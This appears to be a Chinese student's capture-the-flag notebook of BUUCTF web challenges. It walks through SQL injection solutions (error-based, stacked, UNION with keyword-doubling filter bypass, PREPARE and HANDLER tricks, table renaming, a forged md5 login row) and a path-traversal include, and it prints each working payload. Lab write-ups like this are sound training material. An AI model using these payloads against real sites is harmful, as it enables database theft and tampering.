BUUCTF自习笔记第一页加第二页一道笔记

SQL注入

BlackList的题目笔记(堆叠注入时新操作)

堆叠注入新姿势

  1. 预编译
  2. HANDLER Statement

(运用于BlackList和他的上一道题目)

Mysql注入 Hard

【极客大挑战 2019HardSQL】
题目描述呢,是一道SQL的注入题目,本着题目不会在注入点设置太大难度的想法,笔者上来先尝试使用or '1' = '1 'or'1'='1这样逻辑判断尝试,结果发现设置了字符被识别判定,一无所获。

但是盲猜在这里不会在注入点寻找上太困难,猜测就是单引号。
做个备份:成功应用的payload

payload:
获取表名:
admin’^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’))))#

获取用户名:flag
'^extractvalue(1,concat(0x5c,(select(group_concat(username))from(H4rDsq1))))#

由于笔者看这个括号嵌套也相当晕,笔者试验成功后将paylaod直接写在下面了:

FLAG部分:
截取前三十二个字符:
'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1))))#

截取后三十二个字符:
'^extractvalue(1,concat(0x5c,right((select(group_concat(password))from(H4rDsq1)),31)))#

easysql 不一样的堆叠注入 select $_POST[‘query’] ||flag from Flag select *,1 || from Flag

堆叠注入

这道题函数禁用,但是考点不在这里,在于初级的注入点判断(万能逻辑密码)。
or '1'='1
这里百度了一下,应该是这样,大赛组织者应该提供了后端代码,需要进行代码审计。
后端代码:select $_POST['query'] ||flag from Flag语句
分析:
1 || flag from xx 这种逻辑,有多少行就会输入出多少个1.
这里在框里直接输入1,返回一个1就是这个原因。

这里写其他大佬的write up,两种思路。
方法一:将 || 当做分隔符
1;set sql_mode=PIPES_AS_CONCAT;select 1
开启MySQL缺省功能,PIPES_AS_CONCAT,通过 ‘ || ’ 来实现字符串拼接。
注意:堆叠注入的成功执行以来从左到右sql语句的正确执行。
此时语句就相当于:select 1,Flag from flag;
方法二:*,1
*,1
就是select *,1 || from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1

详解堆叠注入:[强网杯 2019]随便注 堆叠注入 改表名 增 id (偷天换日)

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

首先还是通过 'or'1'='1输入查看逻辑测试(注入点测试)
显然是可行的,显示了本表的所有记录。
测试联合查询:

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

被禁用。

测试报错注入:
1’ and extractvalue(1,concat(0x7e,user()))#
error 1105 : XPATH syntax error: ‘~root@localhost’

可行:
版本 10.3.18-MariaDB
数据库 supersqli
由于对select函数的封锁,导致报错注入可能失去了查询表、列字段值的意义,同时也失去了写马的意义。
同时二次注入也不可行。

堆叠注入在这里是可行的。

  1. 点号封闭,查看表名。
    1’;show tables;
    1919810931114514
    word
    两张表
  2. 查看宝表字段:
    两种实现方法:
    1. desc xxx
    2. show columns from xxx
    分析得到1919810931114514表中存在flag字段。
    默认显示的是word表中的内容。
  3. 思路:不能改select写好的代码,去改表名字,实现or '1' ='1展示存在flag的表。
    注意:需要注意的是,select源代码:
    select id,data from words where id = '1'
    word字段存在id主键,flag表不存在id字段,贸然修改表明,会使第一个语句执行错误,造成题目实验环境废掉。
    思路:增加flag表字段id int型。

payload:

添加id字段:

ALTER TABLE `1919810931114514` ADD id INT(4);

保险方案 flag 字段 改 data

ALTER TABLE `1919810931114514` CHANGE `flag` `data` varchar(100);

该名操作需要同时!
改words到words1,改1919810931114514到words

ALTER TABLE `words` RENAME TO `words1`;ALTER TABLE `1919810931114514` RENAME TO `words`;

最后:or ‘1’ = '1
显示全部,得到flag!
BUUCTF自习笔记第一页加第二页一道笔记_第1张图片

[GYCTF2020]Blacklist

似曾相识 记得上次(上一题目)是堆叠注入 与改表名

or ‘1’ = '1测试 显示全表信息
BUUCTF自习笔记第一页加第二页一道笔记_第2张图片
desc words;
BUUCTF自习笔记第一页加第二页一道笔记_第3张图片

desc FlagHere;
BUUCTF自习笔记第一页加第二页一道笔记_第4张图片

无法alter增加字段

在这里插入图片描述

学习新姿势 这种手段第一次见 第一次见!

高诺琪 大佬 提到的两种方法:

https://www.cnblogs.com/gaonuoqi/p/12398554.html

sql在堆叠注入时使用预编译命令

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

HANDLER Statement

简介:

处理程序语句
该语句提供对表存储引擎接口的直接访问。它可用表。

官方文档:
https://dev.mysql.com/doc/refman/8.0/en/handler.html

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

SQL中的测试
BUUCTF自习笔记第一页加第二页一道笔记_第5张图片

[极客大挑战 2019]BabySQL SQL过滤下的联合注入

一:按照常规测试
注入点测试
第一步:‘or’1’='1
(做注入点测试,模拟登陆成功!)
第二步:查看函数禁用
通过第一步就会发现有报错回显,同时发现过滤 or or被吞掉了,双写成功。

(确实这个过滤比较多,且像我一样后来再尝试就发现有些心累了,幸亏题目有报错注入的提示,方便观察哪些字符被过滤。)

  • or
  • select
  • where
  • from
  • 众多过滤
  • 灰太狼

第三部:
测试回显位置:
说明一共有三列 (这个参考union select要求与表列数相同)
admin’ uunionnion sselectelect 1,2# //回显列数不正确
admin’ uunionnion sselectelect 1,2,3#// id username password
BUUCTF自习笔记第一页加第二页一道笔记_第6张图片
完整笔记:READ ME!
第一步:‘or’1’=‘1
(做注入点测试,模拟登陆成功!)
测试回显位置:
说明一共有三列 (这个参考union select要求与表列数相同)
admin’ uunionnion sselectelect 1,2# //回显列数不正确

admin’ uunionnion sselectelect 1,2,3#// id username password

admin’ uunionnion sselectelect 1,database(),3#

admin’ uunionnion sselectelect 1,(),3#

取表名字:
admin’ uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema like database()#
两张表:b4bsql,geekuser

查看列字段名:
admin’ uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql’#
id,username,password

admin’ uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name=‘geekuser’#
id,username,password

查看表内容:
admin’ uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom geekuser#

admin’ uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#

总结:按照顺序,我们逐步找到flag,同时在回显很多时候,使用联合查询比使用报错注入更有优势,不用处理32字符截断的问题。
BUUCTF自习笔记第一页加第二页一道笔记_第7张图片

[GXYCTF2019]BabySQli

本题目知识点是绕过密码md5验证,不知道md5这个提示在哪里。(write up)

代码审计部分:from向search.php传值,打开search.php发现注释中有一段先base32后base64编码代码。
在这里插入图片描述
解码后:
select * from user where username = '$name'
我们在打sql靶场,多见sql语句为:有一个逻辑判断。
select * from user where username = 'uname' and password = "password"

但是这句话没有逻辑判断:
注入思路:select出来的内容被用户可控。哈哈
`select * from user where username = ‘$name’
业务逻辑:搜出md5加密的用户密码,md5(password),与搜出来的密码进行比对。
strcmp是不安全的。
在这里插入图片描述
BUUCTF自习笔记第一页加第二页一道笔记_第8张图片
如图,伪造输出结果。

payload:
用户名处:
1’ union select 1,‘admin’,‘61acfaf0f1885b4f7fd18aa4846c0bdb’#
密码:wolffy
注意此处:后端会对用户名过滤,需要使用admin用户。

代码审计

WarmUp

打开是个滑稽,既然是图片,查看HTML源文件。肯定看到注释。
打开页面,发现是PHP代码审计。
看住执行代码,是文件包含,函数中主要使用了类中的cheak方法对输入进行检查。
分析check返回成功的条件,三个中任意条件成立返回TRUE。

  1. 直接检查是否在白名单
  2. 查找问号首次出现位置 截取0到这个位置 对比白名单
  3. 对二次编码的检查,解码后查找问号首次出现位置 截取0到这个位置 对比白名单。

比如source.php?../../../会进入(2)的检查,并includesource.php?../../../,由此,输入hint.php中的flag位置,获得flag即可。

逻辑

Have Fun 撸猫

BUUCTF自习笔记第一页加第二页一道笔记_第9张图片
查看页面代码,查找

你可能感兴趣的:(html5)